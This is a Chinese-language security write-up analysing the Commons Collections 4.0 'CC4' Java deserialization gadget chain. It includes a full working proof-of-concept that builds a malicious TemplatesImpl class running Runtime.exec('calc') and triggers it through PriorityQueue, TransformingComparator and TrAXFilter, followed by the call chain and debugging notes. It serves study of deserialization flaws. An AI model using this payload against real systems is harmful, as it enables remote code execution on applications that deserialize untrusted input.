0x01 前言

CC4与CC2基本一致,都依赖于CommonsCollections 4.0,对JDK版本无要求。
CC4与CC2的差别在于,CC4使用了CC3的相关知识,即TrAXFilter类和InstantiateTransformer来替代CC2中的InvokerTransformer调用newTransformer方法触发。

0x02 利用链分析

  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  2. import javassist.ClassPool;
  3. import javassist.CtClass;
  4. import org.apache.commons.collections4.Transformer;
  5. import org.apache.commons.collections4.comparators.TransformingComparator;
  6. import org.apache.commons.collections4.functors.ChainedTransformer;
  7. import org.apache.commons.collections4.functors.ConstantTransformer;
  8. import org.apache.commons.collections4.functors.InstantiateTransformer;
  9. import org.apache.commons.collections4.functors.InvokerTransformer;
  10. import javax.xml.transform.Templates;
  11. import java.io.FileInputStream;
  12. import java.io.FileOutputStream;
  13. import java.io.ObjectInputStream;
  14. import java.io.ObjectOutputStream;
  15. import java.lang.reflect.Field;
  16. import java.util.PriorityQueue;
  17. public class cc4 {
  18. public static void main(String[] args) throws Exception {
  19. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  20. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  21. ClassPool classPool=ClassPool.getDefault();//返回默认的类池
  22. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  23. CtClass payload=classPool.makeClass("CommonsCollections4");//创建一个新的public类
  24. payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
  25. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
  26. byte[] bytes=payload.toBytecode();//转换为byte数组
  27. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
  28. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
  29. field.setAccessible(true);//暴力反射
  30. field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
  31. Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
  32. field1.setAccessible(true);//暴力反射
  33. field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
  34. Transformer[] transformers=new Transformer[]{
  35. new ConstantTransformer(TrAXFilter.class),
  36. new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
  37. };
  38. ChainedTransformer transformer=new ChainedTransformer(transformers);
  39. TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
  40. PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
  41. queue.add(1);//添加数字1插入此优先级队列
  42. queue.add(1);//添加数字1插入此优先级队列
  43. Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
  44. field2.setAccessible(true);//暴力反射
  45. field2.set(queue,comparator);//设置queue的comparator字段值为comparator
  46. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
  47. outputStream.writeObject(queue);
  48. outputStream.close();
  49. ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
  50. inputStream.readObject();
  51. }
  52. }

如图,左侧为CC2,右侧为CC4,蓝色部分比较容易理解,CC4采用CC3的做法借助TrAXFilter实例化调用newTransformer。灰色部分则由于ConstantTransformer#transform方法的参数不影响结果,故无该部分代码。可能有疑问少传两个参数是否会影响链执行到compare方法,因为CC2 queue字段只传一个templatesImpl也会报错。具体情况见利用链调试。
image.png
利用链:

  1. ObjectInputStream.readObject()
  2. PriorityQueue.readObject()
  3. PriorityQueue.heapify()
  4. PriorityQueue.siftDown()
  5. PriorityQueue.siftDownUsingConparator()
  6. TransformingComparator.compare()
  7. ChainedTransformer.transform()
  8. ConstantTransformer.transform()
  9. InstantiateTransformer.transform()
  10. TrAXFilter.Constructor()
  11. TemplatesImpl.newTransformer()
  12. TemplatesImpl.getTransletInstance()
  13. TemplatesImpl.defineTransletClasses()
  14. TransletClassLoader.defineClass()
  15. newInstance()
  16. Runtime.getRuntime().exec("calc")

0x03 利用链调试

PriorityQueue#readObject
image.png
PriorityQueue#heapify
image.png
PriorityQueue#siftDown
image.png
PriorityQueue#siftDownUsingComparator,x为1,c为1
image.png
TransformingComparator#compare,比较的是queue里随便add的两个1
image.png
ChainedTransformer#transform
image.png
ConstantTransformer#transform
image.png
InstantiateTransformer#transform
image.png
TrAXFilter#Constructor
image.png
TransformerImpl#newTransformer
image.png
TransformerImpl#getTransletInstance,接着会实例化恶意类,执行恶意代码
image.png
image.png

0x04 总结

看了几个CC链,很容易就记混了,而且还有些链存在变种的实现,比如CC1有P牛简化版的链,CC2存在一个简化链,CC3链也可以使用TransformedMap替换LazyMap。